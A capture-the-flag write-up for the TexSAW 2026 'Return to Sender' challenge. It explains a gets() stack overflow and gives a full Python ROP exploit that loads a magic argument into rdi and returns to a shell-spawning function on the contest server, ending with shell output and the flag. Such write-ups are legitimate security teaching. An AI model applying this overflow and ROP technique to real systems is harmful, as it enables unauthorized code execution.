TexSAW 2026 - Return to Sender - Binary Exploitation Writeup

695 words

3 minutes

TexSAW 2026 - Return to Sender - Binary Exploitation Writeup

2026-03-30

Writeup

CTF

/

Security

/

Binary Exploitation

Category: Binary Exploitation Flag: texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

Challenge Description#

Do you ever wonder what happens to your packages? So does your mail carrier.

Analysis#

The challenge binary was a 64-bit ELF for x86-64, dynamically linked and not stripped, which meant the function names were still present and the control flow was easy to follow. The first useful check was the file type:

1
file ~/Downloads/chall

1
/home/LIGHT/Downloads/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
2
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=...,
3
for GNU/Linux 3.2.0, not stripped

The solve log also recorded the relevant mitigations: Partial RELRO, no stack canary, NX enabled, no PIE, and RWX segments. The important part here was no canary and no PIE. That combination strongly suggests a straightforward stack overflow where fixed code addresses can be reused directly.

Looking at the recovered function layout from the solve log showed exactly where to focus: deliver() contained the input handling, drive() looked like a win function, and tool() contained a useful ROP gadget. The vulnerable function was captured as:

1
<deliver>:
2
  40126c:  endbr64
3
  401270:  push   %rbp
4
  401271:  mov    %rsp,%rbp
5
  401274:  sub    $0x20,%rsp        ; 32-byte buffer
6
  ...
7
  401296:  lea    -0x20(%rbp),%rax  ; buffer at rbp-0x20
8
  40129a:  mov    %rax,%rdi
9
  4012a2:  call   4010c0 <gets@plt> ; VULNERABLE!

That immediately explains the bug. gets() reads arbitrarily long input into a 32-byte stack buffer, so the saved base pointer and then the return address can be overwritten. With a 32-byte local buffer and an 8-byte saved rbp, the offset to the saved return pointer is 40 bytes.

The solve hinged on understanding drive(), because returning there blindly was not enough. The function checked its first argument before spawning a shell:

1
<drive>:
2
  401211:  endbr64
3
  401215:  push   %rbp
4
  401216:  mov    %rsp,%rbp
5
  401219:  sub    $0x10,%rsp
6
  40121d:  mov    %rdi,-0x8(%rbp)   ; save argument
7
  ...
8
  401230:  cmpq   $0x48435344,-0x8(%rbp)  ; compare to "DSCH"
9
  401238:  jne    40125a           ; jump if not equal
10
  ...
11
  401253:  call   4010a0 <system@plt>  ; system("/bin/sh")

So the exploit needed to do more than overwrite RIP. It had to place the magic value 0x48435344 into rdi first. The solve log showed the exact gadget search that made that possible:

1
ROPgadget --binary ~/Downloads/chall | rg 'pop rdi'

1
0x00000000004011be : pop rdi ; ret

Once that gadget was found, the whole chain became clean and deterministic: 40 bytes of padding to reach the return address, pop rdi ; ret at 0x4011be, the magic value 0x48435344, a plain ret gadget at 0x40101a for stack alignment, and finally the drive() function at 0x401211. That alignment gadget matters because the eventual system() call expects a properly aligned stack on amd64.

Solution#

1
# !/usr/bin/env python3
2
import socket
3
import time
4
import struct
5

6
HOST = '143.198.163.4'
7
PORT = 15858
8

9
# Addresses
10
offset = 40
11
pop_rdi_ret = 0x4011be     # pop rdi; ret
12
magic_value = 0x48435344   # "DSCH" in little-endian
13
ret_gadget = 0x40101a      # ret for alignment
14
drive_addr = 0x401211      # drive function
15

16
payload = b'A' * offset
17
payload += struct.pack('<Q', pop_rdi_ret)
18
payload += struct.pack('<Q', magic_value)
19
payload += struct.pack('<Q', ret_gadget)
20
payload += struct.pack('<Q', drive_addr)
21

22
# Connect
23
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24
s.settimeout(30)
25
s.connect((HOST, PORT))
26

27
# Receive prompts
28
data = b''
29
while b'deliver?' not in data:
30
    data += s.recv(4096)
31

32
# Send payload
33
s.send(payload + b'\n')
34
time.sleep(2)
35

36
# Get shell output
37
s.recv(8192)
38

39
# Send commands
40
s.send(b'id\n')
41
time.sleep(0.5)
42
s.send(b'cat flag.txt\n')
43
time.sleep(2)
44

45
# Read output
46
output = s.recv(16384)
47
print(output.decode())

When that payload was sent to the remote service, the overwritten return path landed in drive() with the right argument already loaded, and the program dropped into a shell. The captured output confirmed both code execution and the final flag:

1
[*] Payload (72 bytes)
2
[*] pop rdi; ret: 0x4011be
3
[*] magic (DSCH): 0x48435344
4
[*] ret gadget: 0x40101a
5
[*] drive: 0x401211
6
[*] Connecting to 143.198.163.4:15858...
7
[RECV] b'Our modern and highly secure postal service never fails to deliver...'
8
[SEND] Payload...
9
[RECV] b"Sorry, we couldn't deliver your package. Returning to sender..."
10
[RECV] b'Attempting secret delivery to 3 Dangerous Drive...'
11
[RECV] b'Success! Secret package delivered.'
12
[RECV] uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
13
[RECV] total 32
14
drwxr-xr-x 1 nobody nogroup 4096 Mar 27 17:45 .
15
drwxr-xr-x 1 nobody nogroup 4096 Mar 27 08:05 ..
16
-rw-r--r-- 1 nobody nogroup 51 Mar 27 08:02 flag.txt
17
-rwxr-xr-x 1 nobody nogroup 16392 Mar 27 08:02 run
18
[RECV] texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

This was a classic ret2win-style overflow with a small twist: the win function was gated by a magic argument, so the exploit needed one simple calling-convention-aware ROP step before returning into it.